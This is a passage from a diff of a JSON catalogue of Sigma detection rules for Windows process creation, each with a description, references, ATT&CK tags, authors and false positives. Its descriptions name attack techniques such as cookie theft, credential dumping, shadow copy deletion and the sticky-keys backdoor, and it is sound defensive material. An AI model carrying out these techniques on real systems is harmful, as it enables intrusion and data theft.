- ], - "tags": [ - "attack.credential_access", - "attack.t1003", - "attack.t1003.002", - "attack.t1003.003" - ], - "creation_date": "2019/10/22", - "filename": "proc_creation_win_shadow_copies_creation.yml", - "author": "Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate administrator working with shadow copies, access for backup purposes" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Shadow Copies deletion using operating systems utilities", - "uuid": "c947b146-0abc-4c87-9c64-b17e9d7274a2", - "value": "Shadow Copies Deletion Using Operating Systems Utilities", - "meta": { - "refs": [ - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://blog.talosintelligence.com/2017/05/wannacry.html", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/new-teslacrypt-ransomware-arrives-via-spam/", - "https://www.bleepingcomputer.com/news/security/why-everyone-should-disable-vssadmin-exe-now/", - "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", - "https://github.com/Neo23x0/Raccine#the-process", - "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/gen_ransomware_command_lines.yar", - "https://redcanary.com/blog/intelligence-insights-october-2021/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/blackbyte-exbyte-ransomware", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shadow_copies_deletion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.impact", - "attack.t1070", - "attack.t1490" - ], - "creation_date": "2019/10/22", - "filename": "proc_creation_win_shadow_copies_deletion.yml", - "author": "Florian Roth, Michael Haag, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community, Andreas Hunkeler (@Karneades)", - "level": "high", - "falsepositive": [ - "Legitimate Administrator deletes Shadow Copies using operating systems utilities for legitimate reason", - "LANDesk LDClient Ivanti-PSModule (PS EncodedCommand)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of SharpUp, a tool for local privilege escalation", - "uuid": "c484e533-ee16-4a93-b6ac-f0ea4868b2f1", - "value": "SharpUp PrivEsc Tool", - "meta": { - "refs": [ - "https://github.com/GhostPack/SharpUp", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sharpup.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1615", - "attack.t1569.002", - "attack.t1574.005" - ], - "creation_date": "2022/08/20", - "filename": "proc_creation_win_sharpup.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of the Sharp Chisel via the commandline arguments", - "uuid": "cf93e05e-d798-4d9e-b522-b0248dc61eaf", - "value": "SharpChisel Usage", - "meta": { - "refs": [ - "https://github.com/shantanu561993/SharpChisel", - "https://www.sentinelone.com/labs/wading-through-muddy-waters-recent-activity-of-an-iranian-state-sponsored-threat-actor/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sharp_chisel_usage.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1090.001" - ], - "creation_date": "2022/09/05", - "filename": "proc_creation_win_sharp_chisel_usage.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Some false positives may occure with other tools with similar commandlines" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects shell spawned from Java host process, which could be a sign of exploitation (e.g. log4j exploitation)", - "uuid": "dff1e1cc-d3fd-47c8-bfc2-aeb878a754c0", - "value": "Shells Spawned by Java", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shell_spawn_by_java.yml" - ], - "tags": [ - "attack.initial_access", - "attack.persistence", - "attack.privilege_escalation" - ], - "creation_date": "2021/12/17", - "filename": "proc_creation_win_shell_spawn_by_java.yml", - "author": "Andreas Hunkeler (@Karneades), Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate calls to system binaries", - "Company specific internal usage" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious child process of a Windows shell", - "uuid": "3a6586ad-127a-4d3b-a677-1e6eacdf8fde", - "value": "Windows Shell Spawning Suspicious Program", - "meta": { - "refs": [ - "https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shell_spawn_susp_program.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1059.005", - "attack.t1059.001", - "attack.t1218" - ], - "creation_date": "2018/04/06", - "filename": "proc_creation_win_shell_spawn_susp_program.yml", - "author": "Florian Roth, Tim Shelton", - "level": "high", - "falsepositive": [ - "Administrative scripts", - "Microsoft SCCM" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects SILENTTRINITY stager use", - "uuid": "03552375-cc2c-4883-bbe4-7958d5a980be", - "value": "SILENTTRINITY Stager Execution", - "meta": { - "refs": [ - "https://github.com/byt3bl33d3r/SILENTTRINITY", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_silenttrinity_stage_use.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071" - ], - "creation_date": "2019/10/22", - "filename": "proc_creation_win_silenttrinity_stage_use.yml", - "author": "Aleksey Potapov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.", - "uuid": "e13f668e-7f95-443d-98d2-1816a7648a7b", - "value": "Detected Windows Software Discovery", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518/T1518.md", - "https://github.com/harleyQu1nn/AggressorScripts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_software_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1518" - ], - "creation_date": "2020/10/16", - "filename": "proc_creation_win_software_discovery.yml", - "author": "Nikita Nazarov, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect attacker collecting audio via SoundRecorder application.", - "uuid": "83865853-59aa-449e-9600-74b9d89a6d6e", - "value": "Audio Capture via SoundRecorder", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md", - "https://eqllib.readthedocs.io/en/latest/analytics/f72a98cb-7b3d-4100-99c3-a138b6e9ff6e.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_soundrec_audio_capture.yml" - ], - "tags": [ - "attack.collection", - "attack.t1123" - ], - "creation_date": "2019/10/24", - "filename": "proc_creation_win_soundrec_audio_capture.yml", - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate audio capture by legitimate user." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Service Principal Name Enumeration used for Kerberoasting", - "uuid": "1eeed653-dbc8-4187-ad0c-eeebb20e6599", - "value": "Possible SPN Enumeration", - "meta": { - "refs": [ - "https://p16.praetorian.com/blog/how-to-use-kerberoasting-t1208-for-privilege-escalation", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_spn_enum.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1558.003" - ], - "creation_date": "2018/11/14", - "filename": "proc_creation_win_spn_enum.yml", - "author": "Markus Neis, keepwatch", - "level": "medium", - "falsepositive": [ - "Administrator Activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects dump of credentials in VeeamBackup dbo", - "uuid": "b57ba453-b384-4ab9-9f40-1038086b4e53", - "value": "VeeamBackup Database Credentials Dump", - "meta": { - "refs": [ - "https://thedfirreport.com/2021/12/13/diavol-ransomware/", - "https://forums.veeam.com/veeam-backup-replication-f2/recover-esxi-password-in-veeam-t34630.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlcmd_veeam_dump.yml" - ], - "tags": [ - "attack.collection", - "attack.t1005" - ], - "creation_date": "2021/12/20", - "filename": "proc_creation_win_sqlcmd_veeam_dump.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect use of sqlite binary to query the Firefox cookies.sqlite database and steal the cookie data contained within it", - "uuid": "4833155a-4053-4c9c-a997-777fcea0baa7", - "value": "SQLite Firefox Cookie DB Access", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1539/T1539.md#atomic-test-1---steal-firefox-cookies-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sqlite_firefox_cookies.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1539" - ], - "creation_date": "2022/04/08", - "filename": "proc_creation_win_sqlite_firefox_cookies.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen", - "uuid": "2fdefcb3-dbda-401e-ae23-f0db027628bc", - "value": "Sticky Key Like Backdoor Usage", - "meta": { - "refs": [ - "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_stickykey_like_backdoor.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.persistence", - "attack.t1546.008", - "car.2014-11-003", - "car.2014-11-008" - ], - "creation_date": "2018/03/15", - "filename": "proc_creation_win_stickykey_like_backdoor.yml", - "author": "Florian Roth, @twjackomo, Jonhnathan Ribeiro, oscd.community", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "By replacing the sticky keys executable with the local admins CMD executable, an attacker is able to access a privileged windows console session without authenticating to the system.\nWhen the sticky keys are \"activated\" the privilleged shell is launched.\n", - "uuid": "1070db9a-3e5d-412e-8e7b-7183b616e1b3", - "value": "Sticky-Key Backdoor Copy Cmd.exe", - "meta": { - "refs": [ - "https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html", - "https://www.clearskysec.com/wp-content/uploads/2020/02/ClearSky-Fox-Kitten-Campaign-v1.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sticky_keys_unauthenticated_privileged_cmd_access.yml" - ], - "tags": [ - "attack.t1546.008", - "attack.privilege_escalation" - ], - "creation_date": "2020/02/18", - "filename": "proc_creation_win_sticky_keys_unauthenticated_privileged_cmd_access.yml", - "author": "Sreeman", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of stordiag.exe to execute schtasks.exe systeminfo.exe and fltmc.exe", - "uuid": "961e0abb-1b1e-4c84-a453-aafe56ad0d34", - "value": "Execution via stordiag.exe", - "meta": { - "refs": [ - "https://strontic.github.io/xcyclopedia/library/stordiag.exe-1F08FC87C373673944F6A7E8B18CD845.html", - "https://twitter.com/eral4m/status/1451112385041911809", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_stordiag_execution.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2021/10/21", - "filename": "proc_creation_win_stordiag_execution.yml", - "author": "Austin Songer (@austinsonger)", - "level": "high", - "falsepositive": [ - "Legitimate usage of stordiag.exe." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Ntvdm.exe allows the execution of 16-bit Windows applications on 32-bit Windows operating systems, as well as the execution of both 16-bit and 32-bit DOS applications", - "uuid": "16905e21-66ee-42fe-b256-1318ada2d770", - "value": "Start of NT Virtual DOS Machine", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows/compatibility/ntvdm-and-16-bit-app-support", - "https://support.microsoft.com/fr-fr/topic/an-ms-dos-based-program-that-uses-the-ms-dos-protected-mode-interface-crashes-on-a-computer-that-is-running-windows-7-5dc739ea-987b-b458-15e4-d28d5cca63c7", - "https://app.any.run/tasks/93fe92fa-8b2b-4d92-8c09-a841aed2e793/", - "https://app.any.run/tasks/214094a7-0abc-4a7b-a564-1b757faed79d/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_16bit_application.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/07/16", - "filename": "proc_creation_win_susp_16bit_application.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of 3proxy, a tiny free proxy server", - "uuid": "f38a82d2-fba3-4781-b549-525efbec8506", - "value": "3Proxy Usage", - "meta": { - "refs": [ - "https://github.com/3proxy/3proxy", - "https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_3proxy_usage.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1572" - ], - "creation_date": "2022/09/13", - "filename": "proc_creation_win_susp_3proxy_usage.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Administrative activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities", - "uuid": "9fbf5927-5261-4284-a71d-f681029ea574", - "value": "Compress Data and Lock With Password for Exfiltration With 7-ZIP", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_7z.yml" - ], - "tags": [ - "attack.collection", - "attack.t1560.001" - ], - "creation_date": "2021/07/27", - "filename": "proc_creation_win_susp_7z.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Command line parameter combinations that contain all included strings" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious 7zip execution that involves a file with a .dmp extension, which could be a step in a process of dump file exfiltration", - "uuid": "ec570e53-4c76-45a9-804d-dc3f355ff7a7", - "value": "7Zip Compressing Dump Files", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_7zip_dmp.yml" - ], - "tags": [ - "attack.collection", - "attack.t1560.001" - ], - "creation_date": "2022/09/27", - "filename": "proc_creation_win_susp_7zip_dmp.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Legitimate use of 7-Zip with a command line in which .dmp appears accidentally" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious command line that adds an account to the local administrators/administrateurs group", - "uuid": "ad720b90-25ad-43ff-9b5e-5c841facc8e5", - "value": "Add User to Local Administrators", - "meta": { - "refs": [ - "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_add_local_admin.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ], - "creation_date": "2022/08/12", - "filename": "proc_creation_win_susp_add_local_admin.yml", - "author": "Florian Roth, Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Administrative activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious command line in which a user gets added to the local Remote Desktop Users group", - "uuid": "ffa28e60-bdb1-46e0-9f82-05f7a61cc06e", - "value": "Suspicious Add User to Remote Desktop Users Group", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_add_user_remote_desktop.yml" - ], - "tags": [ - "attack.persistence", - "attack.lateral_movement", - "attack.t1133", - "attack.t1136.001", - "attack.t1021.001" - ], - "creation_date": "2021/12/06", - "filename": "proc_creation_win_susp_add_user_remote_desktop.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Administrative activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of a AdFind for enumeration based on it's commadline flags", - "uuid": "455b9d50-15a1-4b99-853f-8d37655a4c1b", - "value": "Suspicious AdFind Enumeration", - "meta": { - "refs": [ - "https://www.joeware.net/freetools/tools/adfind/", - "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.002/T1087.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_adfind_enumeration.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1087.002" - ], - "creation_date": "2021/12/13", - "filename": "proc_creation_win_susp_adfind_enumeration.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Administrative activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain.", - "uuid": "9a132afa-654e-11eb-ae93-0242ac130002", - "value": "AdFind Usage Detection", - "meta": { - "refs": [ - "https://www.joeware.net/freetools/tools/adfind/", - "https://thedfirreport.com/2020/05/08/adfind-recon/", - "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", - "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", - "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", - "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_adfind_usage.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1018", - "attack.t1087.002", - "attack.t1482", - "attack.t1069.002" - ], - "creation_date": "2021/02/02", - "filename": "proc_creation_win_susp_adfind_usage.yml", - "author": "Janantha Marasinghe (https://github.com/blueteam0ps), FPT.EagleEye Team, omkar72, oscd.community", - "level": "high", - "falsepositive": [ - "Legitimate admin activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks Python 3 and python.exe must be installed,\nUsee to Query/modify DNS records for Active Directory integrated DNS via LDAP\n", - "uuid": "26d3f0a2-f514-4a3f-a8a7-e7e48a8d9160", - "value": "Suspicious Execution of Adidnsdump", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md#atomic-test-9---remote-system-discovery---adidnsdump", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_adidnsdump.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1018" - ], - "creation_date": "2022/01/01", - "filename": "proc_creation_win_susp_adidnsdump.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of AdvancedRun utility", - "uuid": "d2b749ee-4225-417e-b20e-a8d2193cbb84", - "value": "Suspicious AdvancedRun Execution", - "meta": { - "refs": [ - "https://twitter.com/splinter_code/status/1483815103279603714", - "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3", - "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/", - "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_advancedrun.yml" - ], - "tags": "No established tags", - "creation_date": "2022/01/20", - "filename": "proc_creation_win_susp_advancedrun.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of AdvancedRun utility in the context of the TrustedInstaller, SYSTEM, Local Service or Network Service accounts", - "uuid": "fa00b701-44c6-4679-994d-5a18afa8a707", - "value": "Suspicious AdvancedRun Runas Priv User", - "meta": { - "refs": [ - "https://twitter.com/splinter_code/status/1483815103279603714", - "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3", - "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/", - "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_advancedrun_priv_user.yml" - ], - "tags": "No established tags", - "creation_date": "2022/01/20", - "filename": "proc_creation_win_susp_advancedrun_priv_user.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).", - "uuid": "a6fc3c46-23b8-4996-9ea2-573f4c4d88c5", - "value": "Abusable Invoke-ATHRemoteFXvGPUDisablementCommand", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", - "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_athremotefxvgpudisablementcommand.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2021/07/13", - "filename": "proc_creation_win_susp_athremotefxvgpudisablementcommand.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects base64 encoded powershell 'Invoke-' call", - "uuid": "6385697e-9f1b-40bd-8817-f4a91f40508e", - "value": "Suspicious Base64 Encoded Powershell Invoke", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_base64_invoke.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1027" - ], - "creation_date": "2022/05/20", - "filename": "proc_creation_win_susp_base64_invoke.yml", - "author": "pH-T", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious base64 encoded and obbfuscated LOAD string often used for reflection.assembly load", - "uuid": "9c0295ce-d60d-40bd-bd74-84673b7592b1", - "value": "Suspicious Encoded Obfuscated LOAD String", - "meta": { - "refs": [ - "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", - "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_base64_load.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1027" - ], - "creation_date": "2022/03/01", - "filename": "proc_creation_win_susp_base64_load.yml", - "author": "pH-T", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects, possibly, malicious unauthorized usage of bcdedit.exe", - "uuid": "c9fbe8e9-119d-40a6-9b59-dd58a5d84429", - "value": "Possible Ransomware or Unauthorized MBR Modifications", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/bcdedit--set", - "https://twitter.com/malwrhunterteam/status/1372536434125512712/photo/2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bcdedit.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070", - "attack.persistence", - "attack.t1542.003" - ], - "creation_date": "2019/02/07", - "filename": "proc_creation_win_susp_bcdedit.yml", - "author": "@neu5ron", - "level": "medium", - "falsepositive": "No established falsepositives", - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Execute VBscript code that is referenced within the *.bgi file.", - "uuid": "aaf46cdc-934e-4284-b329-34aa701e3771", - "value": "Application Whitelisting Bypass via Bginfo", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/", - "https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bginfo.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.005", - "attack.defense_evasion", - "attack.t1218", - "attack.t1202" - ], - "creation_date": "2019/10/26", - "filename": "proc_creation_win_susp_bginfo.yml", - "author": "Beyu Denis, oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects transferring files from system on a server bitstransfer Powershell cmdlets", - "uuid": "cd5c8085-4070-4e22-908d-a5b3342deb74", - "value": "Suspicious Bitstransfer via PowerShell", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/bitstransfer/add-bitsfile?view=windowsserver2019-ps", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bitstransfer.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.persistence", - "attack.t1197" - ], - "creation_date": "2021/08/19", - "filename": "proc_creation_win_susp_bitstransfer.yml", - "author": "Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of a set of builtin commands often used in recon stages by different attack groups", - "uuid": "2887e914-ce96-435f-8105-593937e90757", - "value": "Reconnaissance Activity Using BuiltIn Commands", - "meta": { - "refs": [ - "https://twitter.com/haroonmeer/status/939099379834658817", - "https://twitter.com/c_APT_ure/status/939475433711722497", - "https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_builtin_commands_recon.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1087", - "attack.t1082", - "car.2016-03-001" - ], - "creation_date": "2018/08/22", - "filename": "proc_creation_win_susp_builtin_commands_recon.yml", - "author": "Florian Roth, Markus Neis", - "level": "medium", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious use of 'calc.exe' with command line parameters or in a suspicious directory, which is likely caused by some PoC or detection evasion", - "uuid": "737e618a-a410-49b5-bec3-9e55ff7fbc15", - "value": "Suspicious Calculator Usage", - "meta": { - "refs": [ - "https://twitter.com/ItsReallyNick/status/1094080242686312448", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_calc.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036" - ], - "creation_date": "2019/02/09", - "filename": "proc_creation_win_susp_calc.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Launch 64-bit shellcode from a debugger script file using cdb.exe.", - "uuid": "b5c7395f-e501-4a08-94d4-57fe7a9da9d2", - "value": "Possible App Whitelisting Bypass via WinDbg/CDB as a Shellcode Runner", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/", - "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html", - "https://twitter.com/nas_bench/status/1534957360032120833", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cdb.yml" - ], - "tags": [ - "attack.execution", - "attack.t1106", - "attack.defense_evasion", - "attack.t1218", - "attack.t1127" - ], - "creation_date": "2019/10/26", - "filename": "proc_creation_win_susp_cdb.yml", - "author": "Beyu Denis, oscd.community, Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate use of debugging tools" - ], - "logsource.category": "process_creation", - 